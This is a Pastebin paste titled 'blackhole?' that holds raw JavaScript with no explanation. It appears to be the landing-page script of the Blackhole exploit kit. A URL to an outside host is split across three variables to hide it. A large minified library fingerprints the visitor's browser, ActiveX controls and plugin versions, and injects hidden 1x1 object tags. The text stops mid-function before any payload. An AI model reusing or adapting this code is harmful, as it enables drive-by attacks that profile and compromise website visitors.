Advertisement
Guest User

blackhole?

a guest
Oct 22nd, 2013
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function bin2hex(s) {
  2.     var i, f = s.length,
  3.         a = [];
  4.     for (i = 0; i < f; i++) {
  5.         a[i] = s.charCodeAt(i).toString(16)
  6.     }
  7.     return a.join('')
  8. }
  9. var h = "htt",
  10.     t = "p://serop",
  11.     x = "lomo.com/svoykrik";
  12. var __$ = {
  13.     version: "0.8.3",
  14.     name: "__$",
  15.     openTag: "<",
  16.     isDefined: function (b) {
  17.         return typeof b != "undefined"
  18.     },
  19.     isArray: function (b) {
  20.         return (/array/i).test(Object.prototype.toString.call(b))
  21.     },
  22.     isFunc: function (b) {
  23.         return typeof b == "function"
  24.     },
  25.     isString: function (b) {
  26.         return typeof b == "string"
  27.     },
  28.     isNum: function (b) {
  29.         return typeof b == "number"
  30.     },
  31.     isStrNum: function (b) {
  32.         return (typeof b == "string" && (/\d/).test(b))
  33.     },
  34.     getNumRegx: /[\d][\d\.\_,\-]*/,
  35.     splitNumRegx: /[\.\_,\-]/g,
  36.     getNum: function (b, c) {
  37.         var d = this,
  38.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  39.         return a ? a[0] : null
  40.     },
  41.     compareNums: function (h, f, d) {
  42.         var e = this,
  43.             c, b, a, g = parseInt;
  44.         if (e.isStrNum(h) && e.isStrNum(f)) {
  45.             if (e.isDefined(d) && d.compareNums) {
  46.                 return d.compareNums(h, f)
  47.             }
  48.             c = h.split(e.splitNumRegx);
  49.             b = f.split(e.splitNumRegx);
  50.             for (a = 0; a < Math.min(c.length, b.length); a++) {
  51.                 if (g(c[a], 10) > g(b[a], 10)) {
  52.                     return 1
  53.                 }
  54.                 if (g(c[a], 10) < g(b[a], 10)) {
  55.                     return -1
  56.                 }
  57.             }
  58.         }
  59.         return 0
  60.     },
  61.     formatNum: function (b, c) {
  62.         var d = this,
  63.             a, e;
  64.         if (!d.isStrNum(b)) {
  65.             return null
  66.         }
  67.         if (!d.isNum(c)) {
  68.             c = 4
  69.         }
  70.         c--;
  71.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  72.         for (a = 0; a < 4; a++) {
  73.             if (/^(0+)(.+)$/.test(e[a])) {
  74.                 e[a] = RegExp.$2
  75.             }
  76.             if (a > c || !(/\d/).test(e[a])) {
  77.                 e[a] = "0"
  78.             }
  79.         }
  80.         return e.slice(0, 4).join(",")
  81.     },
  82.     getPROP: function (d, b, a) {
  83.         var c;
  84.         try {
  85.             if (d) {
  86.                 a = d[b]
  87.             }
  88.         } catch (c) {}
  89.         return a
  90.     },
  91.     findNavPlugin: function (l, e, c) {
  92.         var j = this,
  93.             h = new RegExp(l, "i"),
  94.             d = (!j.isDefined(e) || e) ? /\d/ : 0,
  95.             k = c ? new RegExp(c, "i") : 0,
  96.             a = navigator.plugins,
  97.             g = "",
  98.             f, b, m;
  99.         for (f = 0; f < a.length; f++) {
  100.             m = a[f].description || g;
  101.             b = a[f].name || g;
  102.             if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  103.                 if (!k || !(k.test(m) || k.test(b))) {
  104.                     return a[f]
  105.                 }
  106.             }
  107.         }
  108.         return null
  109.     },
  110.     getMimeEnabledPlugin: function (k, m, c) {
  111.         var e = this,
  112.             f, b = new RegExp(m, "i"),
  113.             h = "",
  114.             g = c ? new RegExp(c, "i") : 0,
  115.             a, l, d, j = e.isString(k) ? [k] : k;
  116.         for (d = 0; d < j.length; d++) {
  117.             if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  118.                 l = f.description || h;
  119.                 a = f.name || h;
  120.                 if (b.test(l) || b.test(a)) {
  121.                     if (!g || !(g.test(l) || g.test(a))) {
  122.                         return f
  123.                     }
  124.                 }
  125.             }
  126.         }
  127.         return 0
  128.     },
  129.     getVersionDelimiter: ",",
  130.     findPlugin: function (d) {
  131.         var c = this,
  132.             b, d, a = {
  133.                 status: -3,
  134.                 plugin: 0
  135.             };
  136.         if (c.DOM) {
  137.             c.DOM.initDiv()
  138.         }
  139.         if (!c.isString(d)) {
  140.             return a
  141.         }
  142.         if (d.length == 1) {
  143.             c.getVersionDelimiter = d;
  144.             return a
  145.         }
  146.         d = d.toLowerCase().replace(/\s/g, "");
  147.         b = c.Plugins[d];
  148.         if (!b || !b.getVersion) {
  149.             return a
  150.         }
  151.         a.plugin = b;
  152.         a.status = 1;
  153.         return a
  154.     },
  155.     AXO: window.ActiveXObject,
  156.     getAXO: function (a) {
  157.         var d = null,
  158.             c, b = this;
  159.         try {
  160.             d = new b.AXO(a)
  161.         } catch (c) {};
  162.         return d
  163.     },
  164.     INIT: function () {
  165.         this.init.library(this)
  166.     },
  167.     init: {
  168.         $: 1,
  169.         hasRun: 0,
  170.         objProperties: function (d, e, b) {
  171.             var a, c = {};
  172.             if (e && b) {
  173.                 if (e[b[0]] === 1 && !d.isArray(e) && !d.isFunc(e) && !d.isString(e) && !d.isNum(e)) {
  174.                     for (a = 0; a < b.length; a = a + 2) {
  175.                         e[b[a]] = b[a + 1];
  176.                         c[b[a]] = 1
  177.                     }
  178.                 }
  179.                 for (a in e) {
  180.                     if (!c[a] && e[a] && e[a][b[0]] === 1) {
  181.                         this.objProperties(d, e[a], b)
  182.                     }
  183.                 }
  184.             }
  185.         },
  186.         publicMethods: function (c, f) {
  187.             var g = this,
  188.                 b = g.$,
  189.                 a, d;
  190.             if (c && f) {
  191.                 for (a in c) {
  192.                     try {
  193.                         if (b.isFunc(c[a])) {
  194.                             f[a] = c[a](f)
  195.                         }
  196.                     } catch (d) {}
  197.                 }
  198.             }
  199.         },
  200.         plugin: function (a, c) {
  201.             var d = this,
  202.                 b = d.$;
  203.             if (a) {
  204.                 d.objProperties(b, a, ["$", b, "$$", a]);
  205.                 if (!b.isDefined(a.getVersionDone)) {
  206.                     a.installed = null;
  207.                     a.version = null;
  208.                     a.version0 = null;
  209.                     a.getVersionDone = null;
  210.                     a.pluginName = c
  211.                 }
  212.             }
  213.         },
  214.         detectIE: function () {
  215.             var a = this,
  216.                 $ = a.$,
  217.                 doc = document,
  218.                 e, x, userAgent = navigator.userAgent || "",
  219.                 progid, progid1, progid2;
  220.             $.isIE = eval("/*@cc_on!@*/!1");
  221.             $.verIE = $.isIE ? ((/^(?:.*?[^a-zA-Z])??(?:MSIE|IE)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7) : null;
  222.             $.ActiveXEnabled = !1;
  223.             $.ActiveXFilteringEnabled = !1;
  224.             if ($.isIE) {
  225.                 try {
  226.                     $.ActiveXFilteringEnabled = window.external.msActiveXFilteringEnabled()
  227.                 } catch (e) {}
  228.                 progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  229.                 progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl", ];
  230.                 progid = progid1.concat(progid2);
  231.                 for (x = 0; x < progid.length; x++) {
  232.                     if ($.getAXO(progid[x])) {
  233.                         $.ActiveXEnabled = !0;
  234.                         if (!$.dbug) {
  235.                             break
  236.                         }
  237.                     }
  238.                 }
  239.                 if ($.ActiveXEnabled && $.ActiveXFilteringEnabled) {
  240.                     for (x = 0; x < progid2.length; x++) {
  241.                         if ($.getAXO(progid2[x])) {
  242.                             $.ActiveXFilteringEnabled = !1;
  243.                             break
  244.                         }
  245.                     }
  246.                 }
  247.             }
  248.         },
  249.         detectNonIE: function () {
  250.             var e = this,
  251.                 c = this.$,
  252.                 d = navigator,
  253.                 b = c.isIE ? "" : d.userAgent || "",
  254.                 f = d.vendor || "",
  255.                 a = d.product || "";
  256.             c.isGecko = (/Gecko/i).test(a) && (/Gecko\s*\/\s*\d/i).test(b);
  257.             c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(b) ? RegExp.$1 : "0.9") : null;
  258.             c.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(b);
  259.             c.verChrome = c.isChrome ? c.formatNum(RegExp.$2) : null;
  260.             c.isSafari = !c.isChrome && ((/Apple/i).test(f) || !f) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(b);
  261.             c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(b) ? c.formatNum(RegExp.$1) : null;
  262.             c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(b);
  263.             c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(b) || 1) ? parseFloat(RegExp.$1, 10) : null
  264.         },
  265.         detectPlatform: function () {
  266.             var e = this,
  267.                 d = e.$,
  268.                 b, a = navigator.platform || "";
  269.             d.OS = 100;
  270.             if (a) {
  271.                 var c = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
  272.                 for (b = c.length - 2; b >= 0; b = b - 2) {
  273.                     if (c[b] && new RegExp(c[b], "i").test(a)) {
  274.                         d.OS = c[b + 1];
  275.                         break
  276.                     }
  277.                 }
  278.             }
  279.         },
  280.         library: function (c) {
  281.             var e = this,
  282.                 d = document,
  283.                 b, a;
  284.             c.init.objProperties(c, c, ["$", c]);
  285.             for (a in c.Plugins) {
  286.                 c.init.plugin(c.Plugins[a], a)
  287.             }
  288.             e.publicMethods(c.PUBLIC, c);
  289.             c.win.init();
  290.             c.head = d.getElementsByTagName("head")[0] || d.getElementsByTagName("body")[0] || d.body || null;
  291.             e.detectPlatform();
  292.             e.detectIE();
  293.             e.detectNonIE();
  294.             c.init.hasRun = 1
  295.         }
  296.     },
  297.     ev: {
  298.         $: 1,
  299.         handler: function (c, b, a) {
  300.             return function () {
  301.                 c(b, a)
  302.             }
  303.         },
  304.         fPush: function (b, a) {
  305.             var c = this,
  306.                 d = c.$;
  307.             if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  308.                 a.push(b)
  309.             }
  310.         },
  311.         callArray: function (a) {
  312.             var b = this,
  313.                 d = b.$,
  314.                 c;
  315.             if (d.isArray(a)) {
  316.                 while (a.length) {
  317.                     c = a[0];
  318.                     a.splice(0, 1);
  319.                     b.call(c)
  320.                 }
  321.             }
  322.         },
  323.         call: function (d) {
  324.             var b = this,
  325.                 c = b.$,
  326.                 a = c.isArray(d) ? d.length : -1;
  327.             if (a > 0 && c.isFunc(d[0])) {
  328.                 d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  329.             } else {
  330.                 if (c.isFunc(d)) {
  331.                     d(c)
  332.                 }
  333.             }
  334.         }
  335.     },
  336.     PUBLIC: {
  337.         isMinVersion: function (b) {
  338.             var a = function (j, h, e, d) {
  339.                 var f = b.findPlugin(j),
  340.                     g, c = -1;
  341.                 if (f.status < 0) {
  342.                     return f.status
  343.                 }
  344.                 g = f.plugin;
  345.                 h = b.formatNum(b.isNum(h) ? h.toString() : (b.isStrNum(h) ? b.getNum(h) : "0"));
  346.                 if (g.getVersionDone != 1) {
  347.                     g.getVersion(h, e, d);
  348.                     if (g.getVersionDone === null) {
  349.                         g.getVersionDone = 1
  350.                     }
  351.                 }
  352.                 if (g.installed !== null) {
  353.                     c = g.installed <= 0.5 ? g.installed : (g.installed == 0.7 ? 1 : (g.version === null ? 0 : (b.compareNums(g.version, h, g) >= 0 ? 1 : -0.1)))
  354.                 };
  355.                 return c
  356.             };
  357.             return a
  358.         },
  359.         getVersion: function (b) {
  360.             var a = function (h, e, d) {
  361.                 var f = b.findPlugin(h),
  362.                     g, c;
  363.                 if (f.status < 0) {
  364.                     return null
  365.                 };
  366.                 g = f.plugin;
  367.                 if (g.getVersionDone != 1) {
  368.                     g.getVersion(null, e, d);
  369.                     if (g.getVersionDone === null) {
  370.                         g.getVersionDone = 1
  371.                     }
  372.                 }
  373.                 c = (g.version || g.version0);
  374.                 c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  375.                 return c
  376.             };
  377.             return a
  378.         },
  379.         getInfo: function (b) {
  380.             var a = function (h, e, d) {
  381.                 var c = {}, f = b.findPlugin(h),
  382.                     g;
  383.                 if (f.status < 0) {
  384.                     return c
  385.                 };
  386.                 g = f.plugin;
  387.                 if (g.getInfo) {
  388.                     if (g.getVersionDone === null) {
  389.                         b.getVersion ? b.getVersion(h, e, d) : b.isMinVersion(h, "0", e, d)
  390.                     }
  391.                     c = g.getInfo()
  392.                 };
  393.                 return c
  394.             };
  395.             return a
  396.         },
  397.         onDetectionDone: function (b) {
  398.             var a = function (j, h, d, c) {
  399.                 var e = b.findPlugin(j),
  400.                     k, g;
  401.                 if (e.status == -3) {
  402.                     return -1
  403.                 }
  404.                 g = e.plugin;
  405.                 if (!b.isArray(g.funcs)) {
  406.                     g.funcs = []
  407.                 };
  408.                 if (g.getVersionDone != 1) {
  409.                     k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  410.                 }
  411.                 if (g.installed != -0.5 && g.installed != 0.5) {
  412.                     b.ev.call(h);
  413.                     return 1
  414.                 }
  415.                 b.ev.fPush(h, g.funcs);
  416.                 return 0
  417.             };
  418.             return a
  419.         },
  420.         hasMimeType: function (b) {
  421.             var a = function (d) {
  422.                 if (!b.isIE && d && navigator && navigator.mimeTypes) {
  423.                     var g, f, c, e = b.isArray(d) ? d : (b.isString(d) ? [d] : []);
  424.                     for (c = 0; c < e.length; c++) {
  425.                         if (b.isString(e[c]) && /[^\s]/.test(e[c])) {
  426.                             g = navigator.mimeTypes[e[c]];
  427.                             f = g ? g.enabledPlugin : 0;
  428.                             if (f && (f.name || f.description)) {
  429.                                 return g
  430.                             }
  431.                         }
  432.                     }
  433.                 }
  434.                 return null
  435.             };
  436.             return a
  437.         },
  438.         z: 0
  439.     },
  440.     codebase: {
  441.         $: 1,
  442.         isDisabled: function () {
  443.             var a = this,
  444.                 b = a.$;
  445.             return b.ActiveXEnabled && b.isIE && b.verIE >= 7 ? 0 : 1
  446.         },
  447.         checkGarbage: function (d) {
  448.             var b = this,
  449.                 c = b.$,
  450.                 a;
  451.             if (c.isIE && d && c.getPROP(d.firstChild, "object")) {
  452.                 a = c.getPROP(d.firstChild, "readyState");
  453.                 if (c.isNum(a) && a != 4) {
  454.                     b.garbage = 1;
  455.                     return 1
  456.                 }
  457.             }
  458.             return 0
  459.         },
  460.         emptyGarbage: function () {
  461.             var a = this,
  462.                 b = a.$,
  463.                 c;
  464.             if (b.isIE && a.garbage) {
  465.                 try {
  466.                     window.CollectGarbage()
  467.                 } catch (c) {}
  468.                 a.garbage = 0
  469.             }
  470.         },
  471.         init: function (e) {
  472.             if (!e.init) {
  473.                 var c = this,
  474.                     d = c.$,
  475.                     a, b;
  476.                 e.init = 1;
  477.                 e.min = 0;
  478.                 e.max = 0;
  479.                 e.hasRun = 0;
  480.                 e.version = null;
  481.                 e.L = 0;
  482.                 e.altHTML = "";
  483.                 e.span = document.createElement("span");
  484.                 e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  485.                 b = e.classID || e.$$.classID || "";
  486.                 e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + e.altHTML + d.openTag + "/object>";
  487.                 for (a = 0; a < e.Lower.length; a++) {
  488.                     e.Lower[a] = d.formatNum(e.Lower[a]);
  489.                     e.Upper[a] = d.formatNum(e.Upper[a])
  490.                 }
  491.             }
  492.         },
  493.         isActiveXObject: function (i, b) {
  494.             var f = this,
  495.                 g = f.$,
  496.                 a = 0,
  497.                 h, d = i.$$,
  498.                 c = i.span;
  499.             if (i.min && g.compareNums(b, i.min) <= 0) {
  500.                 return 1
  501.             }
  502.             if (i.max && g.compareNums(b, i.max) >= 0) {
  503.                 return 0
  504.             }
  505.             c.innerHTML = i.tagA + b + i.tagB;
  506.             if (g.getPROP(c.firstChild, "object")) {
  507.                 a = 1
  508.             };
  509.             f.checkGarbage(c);
  510.             c.innerHTML = "";
  511.             if (a) {
  512.                 i.min = b
  513.             } else {
  514.                 i.max = b
  515.             }
  516.             return a
  517.         },
  518.         convert_: function (f, a, b, e) {
  519.             var d = f.convert[a],
  520.                 c = f.$;
  521.             return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
  522.         },
  523.         convert: function (h, c, g) {
  524.             var e = this,
  525.                 f = h.$,
  526.                 b, a, d;
  527.             c = f.formatNum(c);
  528.             a = {
  529.                 v: c,
  530.                 x: -1
  531.             };
  532.             if (c) {
  533.                 for (b = 0; b < h.Lower.length; b++) {
  534.                     d = e.convert_(h, b, h.Lower[b]);
  535.                     if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
  536.                         a.v = e.convert_(h, b, c, g);
  537.                         a.x = b;
  538.                         break
  539.                     }
  540.                 }
  541.             }
  542.             return a
  543.         },
  544.         isMin: function (g, f) {
  545.             var d = this,
  546.                 e = g.$,
  547.                 c, b, a = 0;
  548.             d.init(g);
  549.             if (!e.isStrNum(f) || d.isDisabled()) {
  550.                 return a
  551.             };
  552.             if (!g.L) {
  553.                 g.L = {};
  554.                 for (c = 0; c < g.Lower.length; c++) {
  555.                     if (d.isActiveXObject(g, g.Lower[c])) {
  556.                         g.L = d.convert(g, g.Lower[c]);
  557.                         break
  558.                     }
  559.                 }
  560.             }
  561.             if (g.L.v) {
  562.                 b = d.convert(g, f, 1);
  563.                 if (b.x >= 0) {
  564.                     a = (g.L.x == b.x ? d.isActiveXObject(g, b.v) : e.compareNums(f, g.L.v) <= 0) ? 1 : -1
  565.                 }
  566.             };
  567.             return a
  568.         },
  569.         search: function (g) {
  570.             var k = this,
  571.                 h = k.$,
  572.                 i = g.$$,
  573.                 b = 0,
  574.                 c;
  575.             k.init(g);
  576.             c = (g.hasRun || k.isDisabled()) ? 1 : 0;
  577.             g.hasRun = 1;
  578.             if (c) {
  579.                 return g.version
  580.             };
  581.             var o, n, m, j = function (q, t) {
  582.                     var r = [].concat(f),
  583.                         s;
  584.                     r[q] = t;
  585.                     s = k.isActiveXObject(g, r.join(","));
  586.                     if (s) {
  587.                         b = 1;
  588.                         f[q] = t
  589.                     } else {
  590.                         p[q] = t
  591.                     }
  592.                     return s
  593.                 }, d = g.DIGITMAX,
  594.                 e, a, l = 99999999,
  595.                 f = [0, 0, 0, 0],
  596.                 p = [0, 0, 0, 0];
  597.             for (o = 0; o < p.length; o++) {
  598.                 f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  599.                 e = f.join(",");
  600.                 a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  601.                 for (m = 0; m < d.length; m++) {
  602.                     if (h.isArray(d[m])) {
  603.                         d[m].push(0);
  604.                         if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
  605.                             p[o] = Math.floor(d[m][o])
  606.                         }
  607.                     }
  608.                 }
  609.                 for (n = 0; n < 30; n++) {
  610.                     if (p[o] - f[o] <= 16) {
  611.                         for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
  612.                             if (j(o, m)) {
  613.                                 break
  614.                             }
  615.                         }
  616.                         break
  617.                     }
  618.                     j(o, Math.round((p[o] + f[o]) / 2))
  619.                 }
  620.                 if (!b) {
  621.                     break
  622.                 }
  623.                 p[o] = f[o]
  624.             }
  625.             if (b) {
  626.                 g.version = k.convert(g, f.join(",")).v
  627.             };
  628.             return g.version
  629.         }
  630.     },
  631.     win: {
  632.         $: 1,
  633.         loaded: false,
  634.         hasRun: 0,
  635.         init: function () {
  636.             var b = this,
  637.                 a = b.$;
  638.             if (!b.hasRun) {
  639.                 b.hasRun = 1;
  640.                 b.addEvent("load", a.ev.handler(b.runFuncs, a));
  641.                 b.addEvent("unload", a.ev.handler(b.cleanup, a))
  642.             }
  643.         },
  644.         addEvent: function (c, b) {
  645.             var e = this,
  646.                 d = e.$,
  647.                 a = window;
  648.             if (d.isFunc(b)) {
  649.                 if (a.addEventListener) {
  650.                     a.addEventListener(c, b, false)
  651.                 } else {
  652.                     if (a.attachEvent) {
  653.                         a.attachEvent("on" + c, b)
  654.                     } else {
  655.                         a["on" + c] = e.concatFn(b, a["on" + c])
  656.                     }
  657.                 }
  658.             }
  659.         },
  660.         concatFn: function (d, c) {
  661.             return function () {
  662.                 d();
  663.                 if (typeof c == "function") {
  664.                     c()
  665.                 }
  666.             }
  667.         },
  668.         funcs0: [],
  669.         funcs: [],
  670.         cleanup: function (b) {
  671.             if (b) {
  672.                 for (var a in b) {
  673.                     b[a] = 0
  674.                 }
  675.                 b = 0
  676.             }
  677.         },
  678.         runFuncs: function (a) {
  679.             if (a && !a.win.loaded) {
  680.                 a.win.loaded = true;
  681.                 a.ev.callArray(a.win.funcs0);
  682.                 a.ev.callArray(a.win.funcs);
  683.                 if (a.DOM) {
  684.                     a.DOM.onDoneEmptyDiv()
  685.                 }
  686.             }
  687.         },
  688.         z: 0
  689.     },
  690.     DOM: {
  691.         $: 1,
  692.         isEnabled: {
  693.             $: 1,
  694.             objectTag: function () {
  695.                 var a = this.$;
  696.                 return a.isIE ? a.ActiveXEnabled : 1
  697.             },
  698.             objectProperty: function () {
  699.                 var a = this.$;
  700.                 return a.isIE && a.verIE >= 7 ? 1 : 0
  701.             }
  702.         },
  703.         div: null,
  704.         divID: "__$",
  705.         divClass: "doNotRemove",
  706.         divWidth: 50,
  707.         getDiv: function () {
  708.             var a = this;
  709.             return a.div || document.getElementById(a.divID) || null
  710.         },
  711.         isDivPermanent: function () {
  712.             var b = this,
  713.                 c = b.$,
  714.                 a = b.getDiv();
  715.             return a && c.isString(a.className) && a.className.toLowerCase().indexOf(b.divClass.toLowerCase()) > -1 ? 1 : 0
  716.         },
  717.         initDiv: function (b) {
  718.             var c = this,
  719.                 d = c.$,
  720.                 a;
  721.             if (!c.div) {
  722.                 a = c.getDiv();
  723.                 if (a) {
  724.                     c.div = a
  725.                 } else {
  726.                     if (b) {
  727.                         c.div = document.createElement("div");
  728.                         c.div.id = c.divID
  729.                     }
  730.                 } if (c.div) {
  731.                     c.setStyle(c.div, c.defaultStyle.concat(["display", "block", "width", c.divWidth + "px", "height", (c.pluginSize + 3) + "px", "fontSize", (c.pluginSize + 3) + "px", "lineHeight", (c.pluginSize + 3) + "px"]));
  732.                     if (!a) {
  733.                         c.setStyle(c.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  734.                         c.insertDivInBody(c.div)
  735.                     }
  736.                 }
  737.             }
  738.         },
  739.         pluginSize: 1,
  740.         altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  741.         emptyNode: function (c) {
  742.             var b = this,
  743.                 d = b.$,
  744.                 a, f;
  745.             if (c && c.childNodes) {
  746.                 for (a = c.childNodes.length - 1; a >= 0; a--) {
  747.                     if (d.isIE) {
  748.                         b.setStyle(c.childNodes[a], ["display", "none"])
  749.                     }
  750.                     c.removeChild(c.childNodes[a])
  751.                 }
  752.             }
  753.         },
  754.         LASTfuncs: [],
  755.         onDoneEmptyDiv: function () {
  756.             var f = this,
  757.                 g = f.$,
  758.                 b, d, c, a, h;
  759.             f.initDiv();
  760.             if (!g.win.loaded || g.win.funcs0.length || g.win.funcs.length) {
  761.                 return
  762.             }
  763.             for (b in g.Plugins) {
  764.                 d = g.Plugins[b];
  765.                 if (d) {
  766.                     if (d.OTF == 3 || (d.funcs && d.funcs.length)) {
  767.                         return
  768.                     }
  769.                 }
  770.             }
  771.             g.ev.callArray(f.LASTfuncs);
  772.             a = f.getDiv();
  773.             if (a) {
  774.                 if (f.isDivPermanent()) {} else {
  775.                     if (a.childNodes) {
  776.                         for (b = a.childNodes.length - 1; b >= 0; b--) {
  777.                             c = a.childNodes[b];
  778.                             f.emptyNode(c)
  779.                         }
  780.                         try {
  781.                             a.innerHTML = ""
  782.                         } catch (h) {}
  783.                     }
  784.                     if (a.parentNode) {
  785.                         try {
  786.                             a.parentNode.removeChild(a)
  787.                         } catch (h) {}
  788.                         a = null;
  789.                         f.div = null
  790.                     }
  791.                 }
  792.             }
  793.         },
  794.         width: function () {
  795.             var g = this,
  796.                 e = g.DOM,
  797.                 f = e.$,
  798.                 d = g.span,
  799.                 b, c, a = -1;
  800.             b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  801.             c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  802.             return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  803.         },
  804.         obj: function (b) {
  805.             var d = this,
  806.                 c = d.span,
  807.                 a = c && c.firstChild ? c.firstChild : null;
  808.             return a
  809.         },
  810.         readyState: function () {
  811.             var b = this,
  812.                 a = b.DOM.$;
  813.             return a.isIE ? a.getPROP(b.obj(), "readyState") : b.undefined
  814.         },
  815.         objectProperty: function () {
  816.             var d = this,
  817.                 b = d.DOM,
  818.                 c = b.$,
  819.                 a;
  820.             if (b.isEnabled.objectProperty()) {
  821.                 a = c.getPROP(d.obj(), "object")
  822.             }
  823.             return a
  824.         },
  825.         getTagStatus: function (b, m, r, p, f, h) {
  826.             var s = this,
  827.                 d = s.$,
  828.                 q;
  829.             if (!b || !b.span) {
  830.                 return -2
  831.             }
  832.             var k = b.width(),
  833.                 c = b.readyState(),
  834.                 a = b.objectProperty();
  835.             if (a) {
  836.                 return 1.5
  837.             }
  838.             var g = /clsid\s*\:/i,
  839.                 o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  840.                 i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  841.                 l = b && g.test(b.outerHTML || "") ? o : i;
  842.             if (!m || !m.span || !l || !l.span) {
  843.                 return 0
  844.             }
  845.             var j = l.width(),
  846.                 n = m.width(),
  847.                 t = l.readyState();
  848.             if (k < 0 || j < 0 || n <= s.pluginSize) {
  849.                 return 0
  850.             }
  851.             if (h && !b.pi && d.isDefined(a) && d.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  852.                 b.pi = 1
  853.             }
  854.             if (j < n) {
  855.                 return b.pi ? -0.1 : 0
  856.             }
  857.             if (k >= n) {
  858.                 if (!b.winLoaded && d.win.loaded) {
  859.                     return b.pi ? -0.5 : -1
  860.                 }
  861.                 if (d.isNum(f)) {
  862.                     if (!d.isNum(b.count2)) {
  863.                         b.count2 = f
  864.                     }
  865.                     if (f - b.count2 > 0) {
  866.                         return b.pi ? -0.5 : -1
  867.                     }
  868.                 }
  869.             }
  870.             try {
  871.                 if (k == s.pluginSize && (!d.isIE || c === 4)) {
  872.                     if (!b.winLoaded && d.win.loaded) {
  873.                         return 1
  874.                     }
  875.                     if (b.winLoaded && d.isNum(f)) {
  876.                         if (!d.isNum(b.count)) {
  877.                             b.count = f
  878.                         }
  879.                         if (f - b.count >= 5) {
  880.                             return 1
  881.                         }
  882.                     }
  883.                 }
  884.             } catch (q) {}
  885.             return b.pi ? -0.1 : 0
  886.         },
  887.         setStyle: function (b, h) {
  888.             var c = this,
  889.                 d = c.$,
  890.                 g = b.style,
  891.                 a, f;
  892.             if (g && h) {
  893.                 for (a = 0; a < h.length; a = a + 2) {
  894.                     try {
  895.                         g[h[a]] = h[a + 1]
  896.                     } catch (f) {}
  897.                 }
  898.             }
  899.         },
  900.         insertDivInBody: function (a, h) {
  901.             var j = this,
  902.                 d = j.$,
  903.                 g, b = "pd33993399",
  904.                 c = null,
  905.                 i = h ? window.top.document : window.document,
  906.                 f = i.getElementsByTagName("body")[0] || i.body;
  907.             if (!f) {
  908.                 try {
  909.                     i.write('<div id="' + b + '">.' + d.openTag + "/div>");
  910.                     c = i.getElementById(b)
  911.                 } catch (g) {}
  912.             }
  913.             f = i.getElementsByTagName("body")[0] || i.body;
  914.             if (f) {
  915.                 f.insertBefore(a, f.firstChild);
  916.                 if (c) {
  917.                     f.removeChild(c)
  918.                 }
  919.             }
  920.         },
  921.         defaultStyle: ["verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"],
  922.         insert: function (b, i, g, h, c, q, o) {
  923.             var s = this,
  924.                 f = s.$,
  925.                 r, t = document,
  926.                 v, m, p = t.createElement("span"),
  927.                 k, a, l = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (q ? "hidden;" : "visible;") + "display:inline;";
  928.             if (!f.isDefined(h)) {
  929.                 h = ""
  930.             }
  931.             if (f.isString(b) && (/[^\s]/).test(b)) {
  932.                 b = b.toLowerCase().replace(/\s/g, "");
  933.                 v = f.openTag + b + " ";
  934.                 v += 'style="' + l + '" ';
  935.                 var j = 1,
  936.                     u = 1;
  937.                 for (k = 0; k < i.length; k = k + 2) {
  938.                     if (/[^\s]/.test(i[k + 1])) {
  939.                         v += i[k] + '="' + i[k + 1] + '" '
  940.                     }
  941.                     if ((/width/i).test(i[k])) {
  942.                         j = 0
  943.                     }
  944.                     if ((/height/i).test(i[k])) {
  945.                         u = 0
  946.                     }
  947.                 }
